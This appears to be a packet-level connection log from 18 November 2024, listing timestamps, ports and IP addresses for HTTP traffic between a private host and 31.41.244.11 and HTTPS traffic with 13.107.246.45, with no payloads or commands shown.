Nov 18, 2024 23:04:11.739116907 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.741029024 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.741064072 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.741087914 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.741106987 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.742083073 CET	49809	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.742142916 CET	443	49809	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.743098974 CET	443	49811	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.743165016 CET	443	49811	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.743235111 CET	49811	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.743354082 CET	49811	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.743372917 CET	443	49811	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.743396044 CET	49811	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.743408918 CET	443	49811	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.746033907 CET	49816	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.746088028 CET	443	49816	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.746180058 CET	49816	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.746320963 CET	49816	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.746336937 CET	443	49816	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.750349998 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.750411987 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.750726938 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.750781059 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.751584053 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.751621962 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.751643896 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.751677036 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.753118992 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.753153086 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.753174067 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.753204107 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.754831076 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.754865885 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.754883051 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.754899025 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.754925966 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.754951000 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.756588936 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.756623983 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.756649971 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.756678104 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.758285999 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.758321047 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.758364916 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.758366108 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.760046959 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.760082006 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.760111094 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.760111094 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.760134935 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.760154009 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.761737108 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.761770964 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.761795044 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.761804104 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.761814117 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.761852026 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.797441959 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.797502995 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.797756910 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.797790051 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.797813892 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.797837973 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.837143898 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.837209940 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.837624073 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.837657928 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.837678909 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.837707996 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.838886976 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.838921070 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.838941097 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.838973045 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.840054989 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.840089083 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.840110064 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.840135098 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.841437101 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.841470957 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.841495037 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.841527939 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.842966080 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.842999935 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.843022108 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.843054056 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.844459057 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.844491959 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.844515085 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.844547033 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.845968008 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.846002102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.846023083 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.846071959 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.847179890 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.847214937 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.847234011 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.847260952 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.848402023 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.848438025 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.848458052 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.848485947 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.849623919 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.849658012 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.849679947 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.849692106 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.849699020 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.849751949 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.850836992 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.850872040 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.850893021 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.850904942 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.850914955 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.850948095 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.852011919 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.852091074 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.867681980 CET	443	49812	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.867892027 CET	443	49812	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.867942095 CET	49812	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.867999077 CET	49812	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.868033886 CET	443	49812	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.868067026 CET	49812	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.868082047 CET	443	49812	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.870385885 CET	49817	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.870444059 CET	443	49817	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.870523930 CET	49817	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.870702028 CET	49817	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.870737076 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.870737076 CET	443	49817	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.870805025 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.871035099 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.871069908 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.871095896 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.871128082 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.872220039 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.872255087 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.872277975 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.872309923 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.873550892 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.873584986 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.873609066 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.873641014 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.874895096 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.874928951 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.874954939 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.874963999 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.874975920 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.875009060 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.876235008 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.876270056 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.876291990 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.876302958 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.876312017 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.876349926 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.877279997 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.877314091 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.877336979 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.877366066 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.878493071 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.878526926 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.878547907 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.878585100 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.879394054 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.879429102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.879468918 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.879468918 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.880412102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.880445957 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.880469084 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.880496025 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.917593956 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.917661905 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.917784929 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.917819023 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.917839050 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.917865038 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.934950113 CET	443	49813	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.945744991 CET	49813	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.945831060 CET	443	49813	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.946161032 CET	49813	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:11.946176052 CET	443	49813	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:11.957235098 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.957302094 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.957492113 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.957521915 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.957552910 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.957583904 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.958079100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.958112955 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.958136082 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.958167076 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.959183931 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.959218979 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.959239006 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.959269047 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.960277081 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.960313082 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.960335970 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.960345984 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.960366964 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.960396051 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.961421967 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.961456060 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.961481094 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.961488962 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.961524010 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.961524010 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.962471962 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.962506056 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.962531090 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.962538958 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.962548971 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.962595940 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.963593960 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.963627100 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.963644981 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.963670969 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.964683056 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.964716911 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.964740992 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.964750051 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.964776993 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.964798927 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.965569019 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.965601921 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.965627909 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.965636969 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.965650082 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.965698004 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.966448069 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.966481924 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.966500044 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.966540098 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.967334032 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.967367887 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.967386007 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.967417955 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.968183994 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.968219042 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.968244076 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.968250990 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.968265057 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.968305111 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.990726948 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.990837097 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.990969896 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.991003036 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.991029024 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.991059065 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.991903067 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.991935015 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.991967916 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.991993904 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.992860079 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.992894888 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.992927074 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.992958069 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.993835926 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.993870020 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.993886948 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.993906021 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.993923903 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.993962049 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.994818926 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.994852066 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.994879961 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.994882107 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.994899035 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.994934082 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.995812893 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.995846987 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.995877028 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.995881081 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.995896101 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.995935917 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.996792078 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.996825933 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.996850967 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.996881008 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.997792006 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.997826099 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.997888088 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.997888088 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.998560905 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.998594999 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.998619080 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.998629093 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:11.998637915 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:11.998676062 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.037560940 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.037619114 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.037744045 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.037774086 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.037796021 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.037827015 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.038258076 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.038307905 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.072052956 CET	443	49813	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.072200060 CET	443	49813	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.072266102 CET	49813	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.072369099 CET	49813	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.072369099 CET	49813	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.072406054 CET	443	49813	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.072434902 CET	443	49813	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.074754953 CET	49818	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.074800014 CET	443	49818	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.074884892 CET	49818	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.075006008 CET	49818	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:12.075020075 CET	443	49818	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:12.077486992 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.077560902 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.077661037 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.077694893 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.077718019 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.077744007 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.078165054 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.078198910 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.078221083 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.078252077 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.078871965 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.078927040 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.078999043 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.079055071 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.079356909 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.079389095 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.079416037 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.079453945 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.080162048 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.080195904 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.080220938 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.080240011 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.080246925 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.080300093 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.080913067 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.080946922 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.080971956 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.081001997 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.081701040 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.081736088 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:12.081759930 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:12.081789970 CET	49794	80	192.168.2.4	31.41.244.11
